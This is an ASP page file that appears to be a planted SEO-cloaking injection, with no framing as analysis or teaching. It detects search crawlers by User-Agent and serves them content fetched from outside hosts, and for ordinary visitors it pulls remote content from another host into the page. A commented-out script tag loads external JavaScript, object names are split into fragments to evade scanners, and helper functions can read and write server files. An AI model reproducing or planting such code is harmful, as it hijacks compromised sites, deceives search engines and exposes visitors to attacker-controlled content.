<%
if instr(1," "&lcase(Request.ServerVariables("HTTP_USER_AGENT"))&" ","http://",1)>0 then
%>





<%
Response.CharSet="gb2312"
Session.CodePage=936
Server.ScriptTimeOut=500
dim id,mmhuan,wang,mulu,wenjian




wang="http://huo.yfycy.com/sh/sh.asp"

lang="http://link.yjcmp.com/new/n.asp"

response.write gethttppage(wang,"","get","","","","*/*","no",1)(0)
response.write gethttppage(lang,"","get","","","","*/*","no",1)(0)


response.end

%>



<%
  ' -------------------------------- 

function gethttppage(url1,urlcode2,fangshi3,cookie4,neirong5,lailu6,accept7,zijie8,zhua9) 
  dim http,neirong,wjrhuan(5)

if len(url1)=0 then
gethttppage=wjrhuan
exit function
end if
  set http=Server.createobject("Win"&"Http.W"&"inHtt"&"pRe"&"quest"&".5.1") 

         TimeInterval=200
         lResolve=100
         lConnect=100
         lSend=100
         lReceive=100
        http.setTimeouts lResolve*1000,lConnect*1000,lSend*1000,lReceive*1000
http.Option(4) = 13056
http.Option(6) = zhua9  

http.open ucase(fangshi3),url1,false
if ucase(fangshi3)="POST" then
http.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
end if

        http.setRequestHeader "Accept",accept7
if len(lailu6)>0 then
        http.setRequestHeader "Referer",lailu6
end if

        http.setRequestHeader "User-Agent","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
        http.setRequestHeader "Accept-Language","zh-cn"
        http.setRequestHeader "Connection","Keep-Alive"
        http.setRequestHeader "Cache-Control","no-cache"


if len(cookie4)>0 then
        http.setRequestHeader "Cookie",cookie4
else

end if



        http.send(neirong5)

wjrhuan(1)=http.getAllResponseHeaders()
wjrhuan(2)=http.status
wjrhuan(3)=http.statustext
wjrhuan(4)=http.responseText

dim wenben,wenbeni,wenben3,bianmaok
bianmaok=""
wenben=lcase(http.getAllResponseHeaders())

if instr(1,wenben,"content-type: ",1)=0 or instr(1,wenben,"content-type: text",1)>0 then

if instr(1,wenben,"content-type: ",1)>0 then
wenbeni=tiress(wenben,"content-type: ",chr(13)&chr(10))
if instr(1,wenbeni,"charset=",1)>0 then
bianmaok=tiress(wenbeni&chr(13)&chr(10),"charset=",chr(13)&chr(10))
end if
end if


if len(bianmaok)=0 then

wenbeni=zzqu(http.responseText,"<meta([^<]*)charset=([^<]*)>","=")


if len(wenbeni)>0 then

wenbeni=replace(wenbeni,"""","",1,-1,1)
wenbeni=replace(wenbeni,"'","",1,-1,1)

wenben3=zzqu(wenbeni,"charset=[a-z0-9\-\_]+","=")
bianmaok=tiress(wenben3,"charset=","renyaai")
end if

end if


if len(bianmaok)=10 then
If len(http.responseBody)>0 and AscB(MidB(http.responseBody,1,1))=&HEF and AscB(MidB(http.responseBody,2,1))=&HBB then 
bianmaok="utf-8"
elseif len(http.responseBody)>10 and  AscB(MidB(http.responseBody,1,1))=&HFF and AscB(MidB(http.responseBody,2,1))=&HFE then 
bianmaok="unicode"
elseif len(http.responseBody)>10 and  AscB(MidB(http.responseBody,1,1))=&HFE and AscB(MidB(http.responseBody,2,1))=&HFF then 
bianmaok="unicodeFFFE"
else
bianmaok="gb2312"
end if
end if



end if




if len(bianmaok)=0 then
bianmaok="gb2312"
end if

	if http.status=200 then
if zijie8="yes" then
wjrhuan(0)=http.responseBody  
else

if instr(1,wenben,"content-encoding: gzip",1)=0 then


if len(urlcode2)>0 then

wjrhuan(0)=readfile(http.responseBody,urlcode2) '利匈坪否
else

wjrhuan(0)=readfile(http.responseBody,bianmaok) '利匈坪否
end if
else
wjrhuan(0)=""
end if


end if
	end if 


gethttppage=wjrhuan

  set http=nothing
  if err.number<>0 then
  err.Clear
  end if
end function 


function readfile(url1,urlcode2)
if len(url1)=0 then

readfile=""
exit function
end if


dim srmobj
set srmobj=Server.CreateObject("ado" & "db.stre" & "am")
srmobj.type=1
srmobj.mode=3
srmobj.open
srmobj.write url1
srmobj.position=0
srmobj.type=2
srmobj.charset=urlcode2
readfile=srmobj.readtext()
set srmobj=nothing
end function





function zzqu(zifu,moshi,buyao)
dim zzexp,zzmat,zzmates
set zzexp=new regexp
zzexp.ignorecase=true
zzexp.global=true
zzexp.pattern=moshi
'譜崔庁塀
set zzmates=zzexp.execute(zifu)
for each zzmat in zzmates

if instr(1,zzmat.value,buyao,1)>0 then

zzqu=zzqu&zzmat.value&"renyaai"
else
end if
next
set zzexp=nothing
end function


function riwen(mm)
riwen=replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(mm,"ゴ",""),"ガ",""),"ギ",""),"グ",""),"ゲ",""),"ザ",""),"ジ",""),"ズ",""),"ヅ",""),"デ",""),"ド",""),"ポ",""),"ベ",""),"プ",""),"ビ",""),"パ",""),"ヴ",""),"ボ",""),"ペ",""),"ブ",""),"ピ",""),"バ",""),"ヂ",""),"ダ",""),"ゾ",""),"ゼ","")
end function

           
function tiress(trea,treb,trec)
dim tia,tib,tic


if instr(1,trea,treb,1)<1 then
tiress=""
exit function
end if

if instr(1,trea,trec,1)<1 then
tiress=""
exit function
end if

tia=instr(1,trea,treb,1)

tib=instr(tia+len(treb),trea,trec,1)


if tib<1 then
tiress=""
exit function
end if

tiress=mid(trea,tia+len(treb),tib-tia-len(treb))

end function



function wjrdu(dizhi,code)
dim stm,fso
set fso=createobject("scripting.filesystemobject")
	if fso.fileexists(dizhi)=false then
	wjrdu="<p>彿坿音贋壓"
	set fso=nothing
	exit function
	end if
set fso=nothing
'    set stm=Server.CreateObject("ado" & "db.stre" & "am")
    set stm=Server.CreateObject("ado" & "db.stre" & "am")
    stm.Type=2 '參云庁塀響函
    stm.mode=3 
    stm.charset=code
    stm.open
    stm.loadfromfile dizhi
    wjrdu=stm.readtext
    stm.Close
end function




function wjrxie(dizhi,code,neirong)
dim objStream
'Set objStream=Server.CreateObject("ado" & "db.stre" & "am")
Set objStream=Server.CreateObject("ado" & "db.stre" & "am")
    With objStream
    .type=2
    .mode=3
    .Open
    .Charset = code
    .Position = objStream.Size
    .WriteText=neirong
    .SaveToFile dizhi,2
    .Close
    End With
Set objStream = Nothing
end function


%>



<%
response.end
end if

%>

<%

langjs="http://ipush.100banli.com/n/ipush.asp"
response.write gethttppage(langjs,"","get","","","","*/*","no",1)(0)
'response.write("<scri"&"pt lang"&"uage='jav"&"as"&"cri"&"pt' src='h"&"t"&"t"&"p"&":"&"/"&"/"&"ip"&"u"&"s"&"h"&"."&"j"&"m"&"s"&"i"&"dc"&"."&"c"&"o"&"m"&"/"&"sh"&".j"&"s'></sc"&"ript>")

%>